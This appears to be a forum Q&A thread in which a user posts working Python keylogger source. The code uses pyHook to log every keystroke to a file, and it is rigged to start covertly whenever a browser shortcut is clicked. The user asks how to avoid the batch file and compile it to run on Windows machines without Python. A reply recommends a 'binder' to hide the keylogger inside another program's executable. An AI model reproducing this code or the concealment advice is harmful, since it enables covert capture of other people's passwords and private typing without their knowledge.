Reputation: 1
Sorry for the ignorance, but I could not find a solution!! p.s.: I'm "hacking to learn and not learning to hack" -Tinkernut (youtube_channel)
I had a simple keylogger.pyw and a notepad batch file so that when I clicked on a specific browser it would open both the browser and the keylogger (I altered the path to the browser's shortcut so that it would open the batch file). Is it possible to do this without having to write an external batch file, and to compile the program so that it runs on the computer without python installed on WINDOWS platform 7 and 8?
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Users\\...\\Documents\\log.txt'
def OnKeyboardEvent (event) :
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager ()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
import os
print os.system('C:\\Users\\...\\Google\\Chrome\\Application\\chrome.exe')
Upvotes: 0
Views: 438
Reputation: 638
I'm not sure about this. But, one thing that can help you is if u r converting python to windows executable, then bind those 2 programs (Your windows Exe file and + the program u want to run ) using binder.
Upvotes: 0